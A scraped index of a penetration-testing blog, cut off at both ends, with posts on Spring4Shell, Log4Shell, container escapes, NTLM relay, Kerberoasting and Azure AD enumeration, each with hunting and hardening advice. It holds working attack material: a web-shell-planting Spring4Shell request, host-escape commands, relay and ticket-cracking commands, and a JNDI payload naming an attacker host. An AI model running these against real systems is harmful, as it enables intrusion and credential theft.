you know it isn\u0026rsquo;t normal in your environment. In some shops it is the deployment mechanism.\n2. Volume. Every sensor above produces millions of events per day on a mid-size estate. Without tuning, everything alerts and nothing is investigated.\n3. Correlation. Individually boring events become interesting in sequence: a browser spawning a shell, which starts a PowerShell process, which makes an outbound connection to a new host. None of those three alone is a page-worthy alert.\nWhat this means from the red side Knowing the data shapes how you\u0026rsquo;d approach an authorised test:\nProcess lineage is the strongest signal, so anything that breaks parent-child relationships changes the picture. That\u0026rsquo;s a real technique, but note it\u0026rsquo;s a detection-surface change, not a magic bypass. Command line arguments are logged. Encoded or obfuscated arguments are themselves an indicator — they may dodge a string match while creating a better signal. Module loads into LSASS or other sensitive processes are heavily monitored. This is where a lot of older tooling dies. The kernel callback remains. User-mode unhooking doesn\u0026rsquo;t remove the kernel event registration, which is why so much effort goes into drivers and BYOVD. Building the defender\u0026rsquo;s version If you\u0026rsquo;re on the blue side and want to close the gap:\nStart with Sysmon and a maintained configuration. SwiftOnSecurity\u0026rsquo;s baseline is a reasonable starting point; tune from there. Shipping and retention matter more than the rule set. A detection you can\u0026rsquo;t query three weeks later isn\u0026rsquo;t a detection. Write detections against behaviour, not tools. A rule matching a specific tool\u0026rsquo;s filename has a shelf life measured in days. Test them against the techniques you actually expect. Adversary emulation is the cheapest way to find out that a rule never fires. The honest summary Evasion is a study of what is not collected. Understanding the collection stack tells you where the blind spots plausibly are — and, more usefully for most people, tells you which of your own detections have never been validated.\nThe best red-teamers I know can describe the detection engineering trade-offs behind a technique before they describe the technique itself. That\u0026rsquo;s not a coincidence.\n","permalink":"https://book.llcczz.org/posts/edr-telemetry-fundamentals/","summary":"A look at the data EDR agents collect, and why understanding it is the difference between evasion research and guessing.","title":"EDR Telemetry: What Your Defenses Actually See"},{"content":"Managed file transfer software is a high-value target by design. It sits at the network edge, it holds credentials for downstream systems, and it stores exactly the files organisations most want to keep private. MOVEit Transfer was not the first product in that category to be exploited, and it won\u0026rsquo;t be the last.\nThe Cl0p campaign against CVE-2023-34362 was notable for the speed of exploitation — within days of the patch — and for the scale of the data taken.\nThe vulnerability A SQL injection in the MOVEit Transfer web application, reachable without authentication through the MOVEitISAPI endpoint. The vulnerable handler is the human2.aspx page under the ISAPI path, which is where the attacker\u0026rsquo;s HTTP request lands.\nThe pre-authentication part is what turns a serious bug into an emergency: no credential, no user interaction, just a POST body.\nThe exploitation shape The published exploit chains three capabilities:\nSQL injection — arbitrary query execution against the MOVEit database. Session forgery — the injection is used to write a row into the session table, producing a valid authenticated session without knowing a password. File write through a legitimate feature — MOVEit has administrative functionality that writes files to disk. With a forged admin session, that becomes an ASPX web shell in the application directory. The third step is the one worth studying. The attacker did not need a separate file-write vulnerability; they used the product\u0026rsquo;s own feature after faking elevation to reach it.\nCommand and control The web shell used in the campaign was named human2.aspx and referred to as LEMURLOOT. It supported a small set of commands, gated by a hardcoded password header:\nX-siLock-Comment: \u0026lt;secret\u0026gt; Commands let the operator enumerate the file system, exfiltrate archives, and delete their own staging artefacts. It read the connection strings from machine.config and used them to reach the database directly — so the web shell was a staging point, not the primary exfiltration channel.\nTimeline that made it bad 2023-05-31 — Exploitation began, reportedly weeks before the vendor published the advisory. 2023-06-02 — Progress published an advisory and patch. 2023-06-05 onwards — Mass exploitation from multiple IP ranges against unpatched instances. The gap between the start of exploitation and public disclosure is the recurring pattern in this class of incident. It means \u0026ldquo;patch when the advisory lands\u0026rdquo; can already be too late.\nHunting for it For anyone who had a MOVEit instance exposed in that window:\nCheck for human2.aspx and any unexpected .aspx files in the MOVEit web directory. Review ISAPI logs for POSTs to that handler that returned 200 with no preceding authentication. Look for large outbound transfers from the MOVEit server — the data staging was bulk archive creation. Audit the session table for sessions created without a corresponding login event. Treat credentials as compromised. MOVEit stores credentials for its own database and often for connected systems. Rotate all of them. What generalises Three things, and none of them are specific to this product:\nFile transfer products are tier-0 assets. They should be treated with the same paranoia as a domain controller or a CA — network-restricted, monitored, and patched on an emergency cadence. Pre-auth SQL injection is still being shipped. Parameterised queries are not universally adopted in commercial appliances. Patch speed is not a substitute for detection. The organisations that came out of this least damaged were the ones who could tell, within a day, which instances had been touched. The uncomfortable part is the affected-organisation count. A single vulnerable product at the edge of thousands of networks means one exploit turns into thousands of incidents — the same dynamic that made Log4Shell and ProxyLogon so costly.\n","permalink":"https://book.llcczz.org/posts/moveit-cve-2023-34362/","summary":"How a pre-authentication SQL injection in a managed file transfer product became one of the largest data theft campaigns of 2023.","title":"MOVEit Transfer (CVE-2023-34362): From SQL Injection to Web Shell"},{"content":"Once an organisation moves identity to Azure AD, the reconnaissance model changes. There is no LLMNR to poison and no SMB to relay. What you get instead is a Graph API that is generous about what an authenticated user can read.\nIf you have any valid credential — a low-privileged user, or a refresh token from a compromised laptop — you can map a surprising amount of the tenant.\nROADrecon: the dump ROADrecon (roadrecon) authenticates, then pulls a full snapshot of the directory via Graph into a local database.\npipx install roadrecon # Device code flow — works without a password, ideal with a stolen session roadrecon auth --device-code # Password flow roadrecon auth -u jdoe@corp.onmicrosoft.com -p \u0026#39;Password123!\u0026#39; # Gather everything the account can read roadrecon gather # Browse it roadrecon gui The GUI is a local Flask app that lets you pivot by user, group, application, and role. What I look for in the dump:\nGlobal Administrators. Obvious, but note which accounts are cloud-only versus synced, and whether any are service principals. Applications with high-privilege Graph permissions. An app registration with Directory.ReadWrite.All and a password credential that never expires is a permanent backdoor if you can read the secret. Consent grants. A user consenting to a third-party app can hand over mailbox or file access. Conditional Access policies — they define what you can\u0026rsquo;t do, so read them early rather than discovering them by getting blocked. AzureHound: the graph AzureHound collects specifically to feed BloodHound, which is where the value compounds: you get the same graph queries for cloud as for on-prem AD.\nazurehound -u \u0026#34;jdoe@corp.onmicrosoft.com\u0026#34; -p \u0026#39;Password123!\u0026#39; \\ list --tenant \u0026#34;contoso.onmicrosoft.com\u0026#34; -o azure.json Import azure.json into BloodHound (or BloodHound CE). The edges that matter:\nEdge Meaning AZGlobalAdmin Global Administrator AZPrivilegedRoleAdmin Can assign any directory role AZOwns Full control over the object AZResetPassword Can reset the target\u0026rsquo;s password AZAddSecret Can add a credential to an app registration AZMGAddSecret Can add a secret to a service principal That last pair is the cloud equivalent of a DACL write. It doesn\u0026rsquo;t look like privilege escalation in the UI, which is why it survives review.\nThe hybrid bridge The most valuable finding in a hybrid tenant is the path from cloud to on-premises. Two common ones:\nAzure AD Connect. The sync account has Replicate Directory Changes on-premises. Compromising it, or the server running it, gives you on-prem AD. A synced Global Admin. If an account is both a cloud Global Admin and privileged on-premises, cloud compromise is domain compromise. Read the sync configuration where you can:\nroadrecon plugin aadconnect The plugin extracts the AAD Connect configuration including the service account name — a direct pointer at the on-premises target.\nDefensive notes Separate cloud and on-prem privileged accounts. The hybrid bridge is the whole ballgame. Review app registrations on a schedule. Credential-bearing apps with broad Graph scopes and multi-year expiry are the cloud equivalent of a service account with a password from 2016. Restrict who can consent to applications, or at minimum require admin consent for anything requesting mail or file scopes. Monitor for enumeration. A single account issuing thousands of Graph reads in a short window is unusual and easy to alert on — it is the cloud counterpart to the LDAP enumeration burst you\u0026rsquo;d catch on-premises. ","permalink":"https://book.llcczz.org/posts/azure-ad-enumeration-roadtools/","summary":"Mapping a Microsoft cloud tenant from a single set of valid credentials, and reading the result as an attack graph.","title":"Enumerating Azure AD with ROADtools and AzureHound"},{"content":"Containers are not a security boundary in the sense people expect. They are a process isolation feature implemented with namespaces and cgroups, sharing one kernel with the host. When the configuration is wrong, escape is often a two-command exercise.\nHere are the routes I check first on any container-based assessment.\n1. The Docker socket If the socket is mounted into a container, the container controls the host\u0026rsquo;s Docker daemon. There is no exploit here — it\u0026rsquo;s a feature being used as intended, by the wrong person.\nls -l /var/run/docker.sock docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh That\u0026rsquo;s a root shell on the host. Mounting the socket into a web app or CI runner is unfortunately still common.\n2. Privileged containers --privileged disables the device cgroup restrictions and gives you access to host devices:\nls /dev | head mkdir -p /mnt/hostdisk \u0026amp;\u0026amp; mount /dev/sda1 /mnt/hostdisk chroot /mnt/hostdisk sh Even without a disk device, a privileged container can be escaped by loading a kernel module or by using nsenter into PID 1:\nnsenter --target 1 --mount --uts --ipc --net --pid -- bash 3. cgroup release_agent In cgroup v1, an unprivileged container that can write to its own cgroup hierarchy can abuse the release_agent file, which the kernel executes on the host:\n# Find the cgroup mount in /proc/self/mountinfo, then: mkdir /tmp/cgrp \u0026amp;\u0026amp; mount -t cgroup -o rdma cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 \u0026gt; /tmp/cgrp/x/notify_on_release host_path=$(sed -n \u0026#39;s/.*\\perdir=\\([^,]*\\).*/\\1/p\u0026#39; /etc/mtab) echo \u0026#34;$host_path/cmd\u0026#34; \u0026gt; /tmp/cgrp/release_agent printf \u0026#39;#!/bin/sh\\nid \u0026gt; /cmd_out\\n\u0026#39; \u0026gt; /cmd chmod +x /cmd sh -c \u0026#34;echo \\$\\$ \u0026gt; /tmp/cgrp/x/cgroup.procs\u0026#34; This was behind CVE-2022-0492, where the release_agent path could be written even inside a namespace without CAP_SYS_ADMIN. It\u0026rsquo;s worth knowing the primitive regardless of patch state, because the same structure appears whenever a container shares the host cgroup namespace.\n4. core_pattern /proc/sys/kernel/core_pattern is host-global. If a container can write to it, a crash inside the container runs a host-side program:\ncat /proc/sys/kernel/core_pattern # If writable: echo \u0026#34;|/proc/%P/fd/666 %p\u0026#34; \u0026gt; /proc/sys/kernel/core_pattern The same class of problem: a host-global kernel interface exposed into a namespace.\n5. Vulnerable runtime runc CVE-2019-5736 allowed overwriting the host runc binary from inside a container, triggered on the next exec. If you find an old container runtime on the host, that\u0026rsquo;s the path — check with runc --version.\nHardening checklist What actually reduces this surface:\nNever mount the Docker socket into anything. Use a socket proxy with an explicit API allowlist if a tool genuinely needs it. Drop --privileged. Enumerate the capabilities you actually need and add those. Run with a read-only root filesystem and no CAP_SYS_ADMIN. Use user namespaces so container root maps to an unprivileged host UID. Apply seccomp and AppArmor profiles — the default Docker profile blocks a meaningful subset of these. Patch the runtime and the host kernel. Several of the techniques above are kernel-interface problems, not container-runtime bugs. The pattern across all of them is the same: a host-global resource — a socket, a device, a cgroup file, a sysctl — is reachable from inside the namespace. Find those, and you find the escapes.\n","permalink":"https://book.llcczz.org/posts/container-escape-techniques/","summary":"The misconfigurations and kernel issues that turn \u0026lsquo;we run containers\u0026rsquo; into \u0026rsquo;the container is a perimeter you don\u0026rsquo;t have\u0026rsquo;.","title":"Container Escapes: From Docker Socket Exposure to Host Compromise"},{"content":"NTLM relay is old. It also still works in a large fraction of internal networks, because the two controls that prevent it — SMB signing and LDAP signing/channel binding — are inconsistently deployed.\nThe attack has three parts: get someone to authenticate to you, relay that authentication to a different service, and hope nobody checks.\nGetting authentication Two families of technique:\nPoisoning. Respond to broadcasts so victims authenticate to you instead of the real host.\nsudo responder -I eth0 -wv Name resolution poisoning over LLMNR/NBT-NS and mDNS. It\u0026rsquo;s noisy in logs that nobody reads, and it works.\nCoercion. Force a machine account to authenticate to a host you control, using a legitimately callable RPC interface:\n# PetitPotam — coercion via EfsRpcOpenFileRaw python3 PetitPotam.py -d lab.local -u jdoe -p \u0026#39;Password123!\u0026#39; 10.10.10.50 10.10.10.10 10.10.10.50 is the relay host, 10.10.10.10 is the domain controller being coerced. The DC authenticates to your machine, which is exactly what you wanted.\nCoercion is the more interesting technique because it doesn\u0026rsquo;t depend on the victim doing anything — it\u0026rsquo;s a server asking to be authenticated to.\nRelaying ntlmrelayx is the workhorse. Kill Responder\u0026rsquo;s SMB and HTTP listeners first, or the two fight over the same ports.\n# Relay to LDAP (no signing by default) and set RBCD on the target computer impacket-ntlmrelayx -t ldap://10.10.10.10 --escalate-user jdoe # Relay SMB to a target with signing disabled impacket-ntlmrelayx -tf targets.txt -smb2support # Relay to AD CS for a certificate impacket-ntlmrelayx -t http://ca.lab.local/certsrv/certfnsh.asp -smb2support --adcs The --adcs path is the most valuable against a modern domain: relay an authenticated request from a machine account to a Certificate Authority, get a certificate, and use it for PKINIT. That gives you a ticket for the machine account, which is a much shorter path to domain compromise than cracking a hash.\nWhy each target is (or isn\u0026rsquo;t) viable Target Default Works? SMB Signing off on workstations Usually yes LDAP Signing off Yes — best for ACL abuse HTTP/AD CS No signing Yes — best for certificate theft SMB to a DC Signing on No That last row is the reason DCs aren\u0026rsquo;t usually the relay target for SMB. Relaying from a coerced DC, as in the PetitPotam example, is the interesting direction.\nDefenses that actually land Enable SMB signing everywhere, not just on DCs. GPO: Microsoft network server: Digitally sign communications (always). Enable LDAP signing and channel binding on domain controllers. Channel binding is the one that stops relay to LDAPS. Disable LLMNR and NBT-NS via GPO. This removes the poisoning half of the attack at zero cost. Patch the coercion primitives. PetitPotam, DFSCoerce, and friends get patched; new ones appear. Treat coercion as a recurring class, not a one-off. Harden AD CS. Require CA manager approval for certificate requests, and audit template permissions. What I\u0026rsquo;d fix first If you only do one thing: disable LLMNR and NBT-NS. It\u0026rsquo;s two GPO settings, breaks nothing in a normal environment, and eliminates the entire poisoning category rather than one instance of it.\nIf you only do two: add SMB signing. Between them, the attacker loses both the ability to make victims talk to them and the ability to relay the result to an unauthenticated service.\n","permalink":"https://book.llcczz.org/posts/ntlm-relay-attacks/","summary":"Why relaying NTLM authentication is still effective in 2022, and what actually stops it.","title":"NTLM Relay Attacks: Coercion, Poisoning, and Defenses"},{"content":"Spring4Shell landed in the same week as a Windows CLFS privilege escalation, which made for a confusing news cycle. This one is more interesting: it\u0026rsquo;s a data binding flaw that escalated all the way to writing a JSP web shell.\nPreconditions This is the part that matters most, and it\u0026rsquo;s why real-world exploitation was narrower than the headlines suggested. All three must hold:\nSpring MVC or WebFlux using RequestMapping with POJO parameters. Deployed as a WAR on Tomcat, with Tomcat\u0026rsquo;s webapps directory holding the app. Running on JDK 9 or later. A Spring Boot fat jar is not exploitable through this path. That excluded a large share of modern deployments.\nThe mechanism Spring\u0026rsquo;s data binding lets a request parameter map onto a nested property of a controller parameter. class.module.classLoader was reachable through that binding, and on Tomcat the classloader exposes the resources and AccessLogValve objects.\nAccessLogValve is the interesting one: it can be told to write a log file, at a path you choose, with content you choose. Point it at a location Tomcat serves as JSP, and the \u0026ldquo;log file\u0026rdquo; is a web shell.\nExploitation The published exploit posts a binding chain that reconfigures the access log valve:\nPOST /app/login HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bc2%7Di\u0026amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp\u0026amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT\u0026amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell\u0026amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= Two things make this readable in a report:\n%25 is a double-encoded %, so the valve pattern survives the first decode and the JSP placeholder survives to the second. The ${c1} and ${c2} placeholders are supplied by the c1 and c2 headers, not the body — that\u0026rsquo;s how you get angle brackets past request validation. After the request, GET /shell.jsp?pwd=j\u0026amp;cmd=id returns command output.\nDiscovery without exploits If you\u0026rsquo;re doing assessment work, you don\u0026rsquo;t need the full chain to identify exposure. Fingerprint instead:\ncurl -s -I http://target:8080/app/ | grep -i -E \u0026#39;server|spring\u0026#39; Then check whether a controller with POJO binding exists — any endpoint taking structured form data is a candidate. If the app ships as a fat jar or runs on an embedded server, you can stop.\nRemediation Upgrade Spring Framework to 5.3.18 / 5.2.20 or later. This is the actual fix. Upgrade to Spring Boot 2.6.6 / 2.5.12 which pull the fixed versions. Disable data binding to class.* via a @ControllerAdvice WebDataBinder restriction if you need a hotfix: @InitBinder public void initBinder(WebDataBinder binder) { binder.setDisallowedFields(\u0026#34;class.*\u0026#34;, \u0026#34;Class.*\u0026#34;, \u0026#34;*.class.*\u0026#34;, \u0026#34;*.Class.*\u0026#34;); } Downgrade to JDK 8 was circulating as a workaround. It does break this specific chain, but it\u0026rsquo;s a step backwards; treat it as temporary at best. Detection The access log valve has to be reconfigured, so the request itself is the detection opportunity. Look for POST bodies containing class.module.classLoader — it has no legitimate use — and for newly created .jsp files in the Tomcat webapps tree.\nThe broader lesson is that data binding is an attack surface with a long history, from mass assignment to this. Any framework that maps request parameters onto object graphs needs an explicit allowlist of what can be bound.\n","permalink":"https://book.llcczz.org/posts/spring4shell-cve-2022-22965/","summary":"How Java Bean data binding turned into remote code execution on Spring MVC applications deployed as WAR files on Tomcat.","title":"Spring4Shell (CVE-2022-22965): A Practical Exploitation Walkthrough"},{"content":"On 9 December 2021 a proof of concept for a remote code execution flaw in Log4j 2 was published. Within 72 hours it was being exploited at internet scale, and the affected library was inside things nobody thinks of as Java applications — VPN concentrators, backup appliances, and the Minecraft server running in someone\u0026rsquo;s basement.\nThe bug in one line Log4j 2 supported message lookups. If a logged string contained ${jndi:ldap://...}, the library would resolve it — and a JNDI lookup against an attacker-controlled LDAP server can return a serialised Java object that gets deserialised on the client.\n${jndi:ldap://attacker.example.com:1389/a} The attacker responds to the LDAP request with a reference to a remote class file, and the JVM loads it. Code execution, no authentication, no user interaction.\nThe reason it was everywhere is the trigger condition. It wasn\u0026rsquo;t a specific API — it was any logged user-controlled string. User-Agent headers, form fields, chat messages, usernames.\nConfirming exposure Against a test instance, the fastest confirmation is sending a payload that triggers a DNS lookup you control:\ncurl -s \u0026#34;http://target/api/login\u0026#34; \\ -H \u0026#39;User-Agent: ${jndi:ldap://\u0026#39;$COLLAB\u0026#39;.oast.fun/x}\u0026#39; A hit on your collaborator means the string reached a vulnerable logger. Absence of a hit does not mean safe — it may mean the payload didn\u0026rsquo;t reach a logged field.\nFor filesystem triage, find the jars and check their versions:\nfind / -name \u0026#39;log4j-core-*.jar\u0026#39; 2\u0026gt;/dev/null | while read f; do echo \u0026#34;$f -\u0026gt; $(unzip -p \u0026#34;$f\u0026#34; META-INF/MANIFEST.MF | grep -i version)\u0026#34; done Anything 2.0-beta9 through 2.14.1 is vulnerable.\nMitigation, in the order the vendor recommended it Upgrade to 2.17.1 or later. If you can only get to 2.16, you lose JNDI entirely by default, which is the real fix. 2.15 patched the specific lookup pattern and was bypassed days later. log4j2.formatMsgNoLookups=true for anything you can\u0026rsquo;t rebuild this week. It\u0026rsquo;s a mitigation, not a fix. Remove JndiLookup.class as a last resort: zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class Block outbound LDAP/RMI at the perimeter. This is defensive depth that would have neutered the whole class of attack, and it\u0026rsquo;s worth keeping after patching. The part people skip Patching is half the job. The other half is assuming exploitation happened before you patched. What I looked for during that week:\njava processes spawning bash, sh, or cmd.exe Outbound connections from application servers to unfamiliar hosts on 1389/1099 New files in /tmp with .class extensions Child processes of the JVM in EDR telemetry — this is the highest-signal indicator by a wide margin What it changed Log4Shell did more for software supply chain awareness than any advisory before it. Two durable effects:\nSBOMs went from a compliance checkbox to a real question. You cannot answer \u0026ldquo;are we affected\u0026rdquo; in 24 hours if you don\u0026rsquo;t know what\u0026rsquo;s in your artifacts. Egress filtering got taken seriously. The exploit required outbound LDAP from a server that had no business making outbound LDAP connections. The uncomfortable lesson is that a single string format decision inside a logging library produced a global incident. Most organisations still cannot enumerate their transitive dependencies on demand.\n","permalink":"https://book.llcczz.org/posts/log4shell-cve-2021-44228/","summary":"A week after disclosure, what we knew about the Log4j JNDI flaw, why the blast radius was so large, and how to find affected systems.","title":"Log4Shell (CVE-2021-44228): Exploitation, Detection, and Mitigation"},{"content":"Before BloodHound, finding a path to Domain Admin in a mid-size domain was mostly guesswork: you enumerated ACLs by hand, eyeballed group memberships, and built the graph in your head. BloodHound moved that graph into Neo4j, where you can actually query it.\nThe workflow is three steps: collect, ingest, query. Most people get the first one wrong.\nCollection SharpHound is the collector. Run it from a domain-joined Windows host with the credentials of a normal user:\n.\\SharpHound.exe -c All --outputdirectory C:\\temp\\loot -c All collects users, groups, computers, sessions, ACLs, trusts, GPOs, and OUs. It writes a zip. That collection is enough for most engagements.\nThings that matter at this stage:\nSessions are time-sensitive. AdminCount and session data go stale in hours. Collect, then analyse immediately — don\u0026rsquo;t collect on Monday and query on Thursday. Stealth matters on real engagements. Session collection touches every machine. --stealth and --excludedcs reduce the footprint. For a first pass, -c DCOnly collects everything from the domain controllers alone: no host is touched except the DC, and you still get the full ACL picture. Output format. --outputdirectory keeps the zip somewhere predictable; the default drops it in the current working directory and people lose track of it. Ingestion Start Neo4j, then import the zip via the BloodHound UI or the CLI:\nneo4j console Once imported, two built-in queries answer most of the questions:\nShortest Paths from Owned Principals — set your controlled user as owned, then look at what is reachable. Shortest Paths to Domain Admins — the inverse view. Reading the graph The useful primitive is not \u0026ldquo;who is a Domain Admin\u0026rdquo;. It is \u0026ldquo;which edge can I traverse\u0026rdquo;. The edges worth memorising:\nEdge What it means MemberOf Direct group nesting AdminTo Local admin on that host CanRDP / CanPSRemote Remote access rights GenericAll / WriteDacl Full or ACL-writing control over the object ForceChangePassword Exactly what it says AllowedToDelegate Constrained delegation target An AdminTo edge to a workstation that a Domain Admin logs into is a path. So is GenericAll on a group that is nested into Domain Admins.\nThe pattern that keeps working The most common real-world path I find is mundane:\nA helpdesk group has ForceChangePassword on a broad OU of users. One of those users has an active session on a server where a tier-2 admin also has a session. That admin has AdminTo on the domain controller. Nothing exotic, three edges, and it\u0026rsquo;s reachable from a starter account. BloodHound makes it visible in a way that scrolling through ADUC never did.\nRemediation is the hard part Remediation is where the graph stops being a red-team toy and becomes useful to the defenders running it. Cutting one edge usually breaks the path:\nRemove AdminTo where it isn\u0026rsquo;t operationally required. Break the tier model so tier-2 admins never have sessions on tier-0 assets. Rotate credentials for any account that appeared in a discovered path — assume compromise. Re-run collection after remediation and confirm the path is actually gone. A surprising number of \u0026ldquo;fixed\u0026rdquo; paths survive because the change was made to a group the tool reads through a different route.\n","permalink":"https://book.llcczz.org/posts/bloodhound-ad-attack-paths/","summary":"How to collect the right AD data once, then query it as a graph instead of guessing your way to Domain Admin.","title":"BloodHound and SharpHound: Mapping Active Directory Attack Paths"},{"content":"In January 2021, on-premises Exchange servers started falling to a chain of four vulnerabilities that required no credentials and no user interaction. By early March, mass exploitation was underway from at least ten distinct threat groups, including state-sponsored ones.\nThe technical detail is worth understanding even now, because the root causes are not Exchange-specific.\nThe four bugs The chain was published as CVE-2021-26855, -26857, -26858, and -27065. They matter in a specific order:\nCVE Type Role in the chain CVE-2021-26855 SSRF Bypass authentication CVE-2021-26857 Deserialisation Escalate to SYSTEM CVE-2021-26858 Arbitrary file write Drop the web shell, authenticated CVE-2021-27065 Arbitrary file write Drop the web shell, unauthenticated The SSRF that starts everything The entry point is a server-side request forgery in the Client Access Service. Exchange front-end components use a cookie — X-BEResource — to decide which back-end server handles a request. The value is deserialised without adequate validation.\nThe practical consequence: by setting the cookie to a value pointing at the local back end, an attacker can issue requests that appear to come from a trusted internal source. Authentication checks that live in the front end are bypassed entirely.\nGET /ecp/DDI/DDIService.svc/GetObject HTTP/1.1 Host: mail.example.com Cookie: X-BEResource=localhost~1942062522 Content-Type: application/json Once that works, the attacker is effectively an authenticated ECP user without ever holding a credential — which is why the write primitives behind it (CVE-2021-27065 in particular) were exploitable unauthenticated.\nDropping the shell CVE-2021-27065 lives in the ECP \u0026ldquo;logon page\u0026rdquo; settings. The ExternalUrl field was not validated, so writing a value containing a path traversal put attacker-controlled content anywhere the ECP application pool could reach:\nPOST /ecp/DDI/DDIService.svc/SetObject?schema=VirtualDirectory\u0026amp;msExchEcpCanary=... The payload placed an .aspx file into a scriptable directory, and the attacker then requested it directly. From there it was a normal web shell: command execution as the Exchange application pool, which is a highly privileged account in most deployments.\nWhy it was so damaging Three factors compounded:\nInternet-facing by design. Exchange Web Services, OWA, and ECP are routinely published without a reverse proxy that could have broken the X-BEResource handling. Default configurations were vulnerable. No unusual settings required. Post-exploitation was trivial. Once you have code execution as the Exchange service account, you can read mailboxes directly from the database, and that account typically has broad AD read rights. The last point is the one people underestimate. Mailbox access is not a secondary impact — for many organisations it is the entire impact.\nWhat to take from it For defenders, the lessons that generalised:\nPatch exchange servers the day updates land. Not the sprint after. Check for web shells after patching, not instead of it. A survey after the fact found thousands of unpatched servers that had already been compromised; patching closed the door but left the intruder inside. Don\u0026rsquo;t publish ECP to the internet. It is an administrative interface. Treat it like one. Hunt for the artefacts, not the CVE: unexpected .aspx files in Exchange virtual directories, w3wp.exe spawning cmd.exe or powershell.exe, and outbound connections from Exchange to new hosts. For anyone studying vulnerability chains, this is a good case study in how three mediocre bugs become critical when a fourth removes authentication from the equation.\n","permalink":"https://book.llcczz.org/posts/proxylogon-cve-2021-26855/","summary":"Notes on the four-vulnerability chain that let an unauthenticated attacker take over on-premises Exchange servers in early 2021.","title":"ProxyLogon (CVE-2021-26855): Dissecting the Exchange SSRF Chain"},{"content":"Kerberoasting has been public since 2016 and it still works, because the underlying design has not changed: any authenticated domain user can request a service ticket for any account that has a Service Principal Name, and that ticket is encrypted with the target account\u0026rsquo;s password hash.\nIf the service account\u0026rsquo;s password is weak, the hash comes off in minutes.\nWhat actually happens You authenticate to the KDC as any domain user. You request a ticket for MSSQLSvc/db01.lab.local:1433. The KDC returns a TGS-REP encrypted with the service account\u0026rsquo;s NTLM hash. You take that ciphertext offline and crack it. No elevated privileges anywhere. That is the whole trick.\nFinding accounts with SPNs From a domain-joined Linux box with the credentials of a plain user:\nimpacket-GetUserSPNs lab.local/jdoe:\u0026#39;Password123!\u0026#39; -dc-ip 10.10.10.10 -request Or without credentials at all, if you have any valid session and can use LDAP anonymously — many domains still permit it:\nimpacket-GetADUsers lab.local/ -dc-ip 10.10.10.10 -all The output lists accounts and their service names. Two categories matter:\nUser accounts with SPNs — the password is probably a human-chosen string. Excellent targets. krbtgt and machine accounts — 120-character random passwords. Ignore them. Requesting the tickets -request makes GetUserSPNs fetch a crackable hash for every account it finds:\n$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/db01.lab.local:1433*$8f3a... Save it and move to the cracking box.\nCracking offline Because it\u0026rsquo;s Kerberos RC4 or AES, hashcat handles it directly:\n# $krb5tgs$23$ = RC4 (etype 23) hashcat -m 13100 tgs.txt rockyou.txt -r rules/best64.rule # $krb5tgs$18$ = AES-256 (etype 18) — much slower, still worth running hashcat -m 19700 tgs_aes.txt rockyou.txt The RC4 variant is roughly 100x faster to crack than AES-256. If you only have AES tickets, mask attacks are usually a dead end — targeted wordlists built from the organisation\u0026rsquo;s vocabulary work better than brute force.\nA dictionary the client\u0026rsquo;s own marketing site produced will beat rockyou.txt more often than people expect.\nTwo things people get wrong You do not need to be an admin. Every writeup that implies otherwise is wasting your time. Any domain user can do this.\nAES is not a fix by itself. It raises the cracking cost, but a weak password in a wordlist still falls. The real fixes are:\n25+ character, machine-generated service account passwords Group Managed Service Accounts — AD rotates a 240-character password every 30 days, and you cannot Kerberoast what you cannot crack Alert on anomalous TGS-REQ volume for SPN-bearing accounts; a single user requesting 40 service tickets in a minute is not normal Detection From the defender\u0026rsquo;s chair, the signal is in the ticket request pattern, not the tool. Event ID 4769 with encryption type 0x17 (RC4) against accounts that normally negotiate AES is the most common indicator I\u0026rsquo;ve seen in real environments.\n","permalink":"https://book.llcczz.org/posts/kerberoasting-spn-enumeration/","summary":"Why requesting service tickets for accounts with SPNs is still one of the most reliable ways to escalate from a domain user to plaintext credentials.","title":"Kerberoasting: From SPN Enumeration to Offline Cracking"},{"content":"Every engagement starts with the same problem: you cannot test what you cannot find. Certificate transparency logs have made subdomain enumeration dramatically easier than it was five years ago, but the tooling only produces a list — turning that list into a reliable asset inventory is the actual work.\nWhy passive enumeration first Active brute force against a client\u0026rsquo;s DNS is noisy and, depending on the contract, may not be authorised. Start passive:\nCertificate Transparency — every publicly trusted certificate is logged. crt.sh is the fastest source. Passive DNS — datasets like SecurityTrails and VirusTotal expose historical resolutions. Search engines and code — API keys and hostnames leak into GitHub, Pastebin, and JS bundles. Passive sources give you breadth with zero packets sent to the target.\nThe pipeline I run two enumerators in parallel and merge, because they draw from overlapping but not identical sources.\n# Passive collection subfinder -d example.com -all -silent -o subfinder.txt amass enum -passive -d example.com -o amass.txt # Merge and deduplicate cat subfinder.txt amass.txt | tr \u0026#39;A-Z\u0026#39; \u0026#39;a-z\u0026#39; | sort -u \u0026gt; all-subs.txt wc -l all-subs.txt Typical output for a mid-size organisation lands between 500 and 5,000 names. Most are dead.\nResolving quickly massdns resolves tens of thousands of names per second if you give it a decent resolver list:\n# Public resolvers, one per line curl -s https://public-dns.info/nameservers.txt | head -2000 \u0026gt; resolvers.txt massdns -r resolvers.txt -t A -o S -w resolved.txt all-subs.txt Then filter to the ones that actually answer:\ngrep -E \u0026#39; A \u0026#39; resolved.txt | awk \u0026#39;{print $1}\u0026#39; | sed \u0026#39;s/\\.$//\u0026#39; | sort -u \u0026gt; live.txt Any name in resolved.txt that only ever returns CNAME is worth a second look — dangling CNAMEs pointing at deprovisioned cloud resources are a classic subdomain takeover.\nHTTP probing Resolution is not the same as serving. Probe for HTTP(S) and capture titles and status codes:\ncat live.txt | httpx -silent -status-code -title -tech-detect -o http.txt This is where the inventory becomes actionable: you end up with a list of hosts, their frameworks, and a status code. Login panels and default installs jump out 